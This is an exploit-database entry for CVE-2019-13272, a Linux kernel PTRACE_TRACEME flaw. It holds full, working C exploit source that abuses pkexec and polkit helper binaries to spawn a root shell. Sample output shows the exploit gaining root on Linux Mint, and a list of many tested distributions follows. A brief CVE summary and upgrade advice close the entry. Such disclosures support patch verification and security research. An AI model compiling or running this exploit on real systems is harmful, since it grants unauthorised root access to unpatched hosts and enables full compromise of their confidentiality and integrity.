Linux PTRACE_TRACEME Local Root

2020.03.29
Credit: nu11secur1ty
Risk: Low
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Ubuntu 16.04.6-Kernel-PTRACE_TRACEME-allows_local_users_to_obtain_root_access - Local # Author: nu11secur1ty # Date: 2020-03-26 # Vendor: Ubuntu Linux kernel before 5.1.17 # Link: https://github.com/nu11secur1ty/Ubuntu/tree/master/CVE-2019-13272 # CVE: CVE-2019-13272 [+] Credits: Ventsislav Varbanovski (@ nu11secur1ty) [+] Website: https://www.nu11secur1ty.com/ [+] Source: readme from GitHUB [+] twitter.com/nu11secur1ty [Exploit Program Code] -------------------------- // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) // Uses pkexec technique // --- // Original discovery and exploit author: Jann Horn // Modified and tested on Ubuntu 16.04.6 by Ventsislav Varbanovski @nu11secur1ty // https://www.nu11secur1ty.com/ // - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 // --- // <bcoles@gmail.com> // - added known helper paths // - added search for suitable helpers // - added automatic targeting // - changed target suid exectuable from passwd to pkexec // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272 // --- // Tested on: // - Ubuntu 16.04.5 kernel 4.15.0-29-generic // - Ubuntu 18.04.1 kernel 4.15.0-20-generic // - Ubuntu 19.04 kernel 5.0.0-15-generic // - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic // - Linux Mint 19 kernel 4.15.0-20-generic // - Xubuntu 16.04.4 kernel 4.13.0-36-generic // - ElementaryOS 0.4.1 4.8.0-52-generic // - Backbox 6 kernel 4.18.0-21-generic // - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64 // - Kali kernel 4.19.0-kali5-amd64 // - Redcore 1806 (LXQT) kernel 4.16.16-redcore // - MX 18.3 kernel 4.19.37-2~mx17+1 // - RHEL 8.0 kernel 4.18.0-80.el8.x86_64 // - Debian 9.4.0 kernel 4.9.0-6-amd64 // - Debian 10.0.0 kernel 4.19.0-5-amd64 // - Devuan 2.0.0 kernel 4.9.0-6-amd64 // - SparkyLinux 5.8 kernel 4.19.0-5-amd64 // - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64 // - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO // - Mageia 6 kernel 4.9.35-desktop-1.mga6 // - Antergos 18.7 kernel 4.17.6-1-ARCH // --- // user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root // user@linux-mint-19-2:~$ ./ptrace_traceme_root // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) // [.] Checking environment ... // [~] Done, looks good // [.] Searching for known helpers ... // [~] Found known helper: /usr/sbin/mate-power-backlight-helper // [.] Using helper: /usr/sbin/mate-power-backlight-helper // [.] Spawning suid process (/usr/bin/pkexec) ... // [.] Tracing midpid ... // [~] Attached to midpid // To run a command as administrator (user "root"), use "sudo <command>". // See "man sudo_root" for details. // // root@linux-mint-19-2:/home/user# // --- #define _GNU_SOURCE #include <string.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <stdio.h> #include <fcntl.h> #include <sched.h> #include <stddef.h> #include <stdarg.h> #include <pwd.h> #include <sys/prctl.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <sys/user.h> #include <sys/syscall.h> #include <sys/stat.h> #include <linux/elf.h> #define DEBUG #ifdef DEBUG # define dprintf printf #else # define dprintf #endif #define SAFE(expr) ({ \ typeof(expr) __res = (expr); \ if (__res == -1) { \ dprintf("[-] Error: %s\n", #expr); \ return 0; \ } \ __res; \ }) #define max(a,b) ((a)>(b) ? (a) : (b)) static const char *SHELL = "/bin/bash"; static int middle_success = 1; static int block_pipe[2]; static int self_fd = -1; static int dummy_status; static const char *helper_path; static const char *pkexec_path = "/usr/bin/pkexec"; static const char *pkaction_path = "/usr/bin/pkaction"; struct stat st; const char *helpers[1024]; const char *known_helpers[] = { "/usr/lib/gnome-settings-daemon/gsd-backlight-helper", "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper", "/usr/lib/unity-settings-daemon/usd-backlight-helper", "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", "/usr/sbin/mate-power-backlight-helper", "/usr/bin/xfpm-power-backlight-helper", "/usr/bin/lxqt-backlight_backend", "/usr/libexec/gsd-wacom-led-helper", "/usr/libexec/gsd-wacom-oled-helper", "/usr/libexec/gsd-backlight-helper", "/usr/lib/gsd-backlight-helper", "/usr/lib/gsd-wacom-led-helper", "/usr/lib/gsd-wacom-oled-helper", }; /* temporary printf; returned pointer is valid until next tprintf */ static char *tprintf(char *fmt, ...) { static char buf[10000]; va_list ap; va_start(ap, fmt); vsprintf(buf, fmt, ap); va_end(ap); return buf; } /* * fork, execute pkexec in parent, force parent to trace our child process, * execute suid executable (pkexec) in child. */ static int middle_main(void *dummy) { prctl(PR_SET_PDEATHSIG, SIGKILL); pid_t middle = getpid(); self_fd = SAFE(open("/proc/self/exe", O_RDONLY)); pid_t child = SAFE(fork()); if (child == 0) { prctl(PR_SET_PDEATHSIG, SIGKILL); SAFE(dup2(self_fd, 42)); /* spin until our parent becomes privileged (have to be fast here) */ int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY)); char *needle = tprintf("\nUid:\t%d\t0\t", getuid()); while (1) { char buf[1000]; ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0)); buf[buflen] = '\0'; if (strstr(buf, needle)) break; } /* * this is where the bug is triggered. * while our parent is in the middle of pkexec, we force it to become our * tracer, with pkexec's creds as ptracer_cred. */ SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL)); /* * now we execute a suid executable (pkexec). * Because the ptrace relationship is considered to be privileged, * this is a proper suid execution despite the attached tracer, * not a degraded one. * at the end of execve(), this process receives a SIGTRAP from ptrace. */ execl(pkexec_path, basename(pkexec_path), NULL); dprintf("[-] execl: Executing suid executable failed"); exit(EXIT_FAILURE); } SAFE(dup2(self_fd, 0)); SAFE(dup2(block_pipe[1], 1)); /* execute pkexec as current user */ struct passwd *pw = getpwuid(getuid()); if (pw == NULL) { dprintf("[-] getpwuid: Failed to retrieve username"); exit(EXIT_FAILURE); } middle_success = 1; execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name, helper_path, "--help", NULL); middle_success = 0; dprintf("[-] execl: Executing pkexec failed"); exit(EXIT_FAILURE); } /* ptrace pid and wait for signal */ static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { struct user_regs_struct regs; struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) }; SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL)); SAFE(waitpid(pid, &dummy_status, 0)); SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov)); /* set up indirect arguments */ unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL; struct injected_page { unsigned long argv[2]; unsigned long envv[1]; char arg0[8]; char path[1]; } ipage = { .argv = { scratch_area + offsetof(struct injected_page, arg0) } }; strcpy(ipage.arg0, arg0); for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) { unsigned long pdata = ((unsigned long *)&ipage)[i]; SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), (void*)pdata)); } /* execveat(exec_fd, path, argv, envv, flags) */ regs.orig_rax = __NR_execveat; regs.rdi = exec_fd; regs.rsi = scratch_area + offsetof(struct injected_page, path); regs.rdx = scratch_area + offsetof(struct injected_page, argv); regs.r10 = scratch_area + offsetof(struct injected_page, envv); regs.r8 = AT_EMPTY_PATH; SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov)); SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL)); SAFE(waitpid(pid, &dummy_status, 0)); } static int middle_stage2(void) { /* our child is hanging in signal delivery from execve()'s SIGTRAP */ pid_t child = SAFE(waitpid(-1, &dummy_status, 0)); force_exec_and_wait(child, 42, "stage3"); return 0; } // * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * * static int spawn_shell(void) { SAFE(setresgid(0, 0, 0)); SAFE(setresuid(0, 0, 0)); execlp(SHELL, basename(SHELL), NULL); dprintf("[-] execlp: Executing shell %s failed", SHELL); exit(EXIT_FAILURE); } // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * * static int check_env(void) { const char* xdg_session = getenv("XDG_SESSION_ID"); dprintf("[.] Checking environment ...\n"); if (stat(pkexec_path, &st) != 0) { dprintf("[-] Could not find pkexec executable at %s", pkexec_path); exit(EXIT_FAILURE); } if (stat(pkaction_path, &st) != 0) { dprintf("[-] Could not find pkaction executable at %s", pkaction_path); exit(EXIT_FAILURE); } if (xdg_session == NULL) { dprintf("[!] Warning: $XDG_SESSION_ID is not set\n"); return 1; } if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) { dprintf("[!] Warning: Could not find active PolKit agent\n"); return 1; } if (stat("/usr/sbin/getsebool", &st) == 0) { if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) { dprintf("[!] Warning: SELinux deny_ptrace is enabled\n"); return 1; } } dprintf("[~] Done, looks good\n"); return 0; } /* * Use pkaction to search PolKit policy actions for viable helper executables. * Check each action for allow_active=yes, extract the associated helper path, * and check the helper path exists. */ int find_helpers() { char cmd[1024]; snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path); FILE *fp; fp = popen(cmd, "r"); if (fp == NULL) { dprintf("[-] Failed to run: %s\n", cmd); exit(EXIT_FAILURE); } char line[1024]; char buffer[2048]; int helper_index = 0; int useful_action = 0; static const char *needle = "org.freedesktop.policykit.exec.path -> "; int needle_length = strlen(needle); while (fgets(line, sizeof(line)-1, fp) != NULL) { /* check the action uses allow_active=yes*/ if (strstr(line, "implicit active:")) { if (strstr(line, "yes")) { useful_action = 1; } continue; } if (useful_action == 0) continue; useful_action = 0; /* extract the helper path */ int length = strlen(line); char* found = memmem(&line[0], length, needle, needle_length); if (found == NULL) continue; memset(buffer, 0, sizeof(buffer)); for (int i = 0; found[needle_length + i] != '\n'; i++) { if (i >= sizeof(buffer)-1) continue; buffer[i] = found[needle_length + i]; } if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 || strstr(&buffer[0], "/cpugovctl") != 0 || strstr(&buffer[0], "/package-system-locked") != 0 || strstr(&buffer[0], "/cddistupgrader") != 0) { dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]); continue; } /* check the path exists */ if (stat(&buffer[0], &st) != 0) continue; helpers[helper_index] = strndup(&buffer[0], strlen(buffer)); helper_index++; if (helper_index >= sizeof(helpers)/sizeof(helpers[0])) break; } pclose(fp); return 0; } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * int ptrace_traceme_root() { dprintf("[.] Using helper: %s\n", helper_path); /* * set up a pipe such that the next write to it will block: packet mode, * limited to one packet */ SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); char dummy = 0; SAFE(write(block_pipe[1], &dummy, 1)); /* spawn pkexec in a child, and continue here once our child is in execve() */ dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path); static char middle_stack[1024*1024]; pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); if (!middle_success) return 1; /* * wait for our child to go through both execve() calls (first pkexec, then * the executable permitted by polkit policy). */ while (1) { int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); char buf[16]; int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); buf[buflen] = '\0'; *strchrnul(buf, '\n') = '\0'; if (strncmp(buf, basename(helper_path), 15) == 0) break; usleep(100000); } /* * our child should have gone through both the privileged execve() and the * following execve() here */ dprintf("[.] Tracing midpid ...\n"); SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); SAFE(waitpid(midpid, &dummy_status, 0)); dprintf("[~] Attached to midpid\n"); force_exec_and_wait(midpid, 0, "stage2"); exit(EXIT_SUCCESS); } int main(int argc, char **argv) { if (strcmp(argv[0], "stage2") == 0) return middle_stage2(); if (strcmp(argv[0], "stage3") == 0) return spawn_shell(); dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"); check_env(); if (argc > 1 && strcmp(argv[1], "check") == 0) { exit(0); } /* Search for known helpers defined in 'known_helpers' array */ dprintf("[.] Searching for known helpers ...\n"); for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) { if (stat(known_helpers[i], &st) == 0) { helper_path = known_helpers[i]; dprintf("[~] Found known helper: %s\n", helper_path); ptrace_traceme_root(); } } /* Search polkit policies for helper executables */ dprintf("[.] Searching for useful helpers ...\n"); find_helpers(); for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) { if (helpers[i] == NULL) break; if (stat(helpers[i], &st) == 0) { helper_path = helpers[i]; ptrace_traceme_root(); } } return 0; } [Vendor] Ubuntu [Vulnerability Type] Local rootkit exploit [CVE Reference] In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME. NOTE: SELinux deny_ptrace might be a usable workaround in some environments. [Security Issue] root access by leveraging certain scenarios [Video] https://www.youtube.com/watch?v=FGKhQkk8V5g [Disclosure Timeline] 2019/07/04 [+] Disclaimer The entry creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE. [Fix] Immediately UPGRADE your Ubuntu distro using your package manager, or make patching your Linux Kernel... More information: https://github.com/nu11secur1ty/insmod_block @nu11secur1ty -- hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top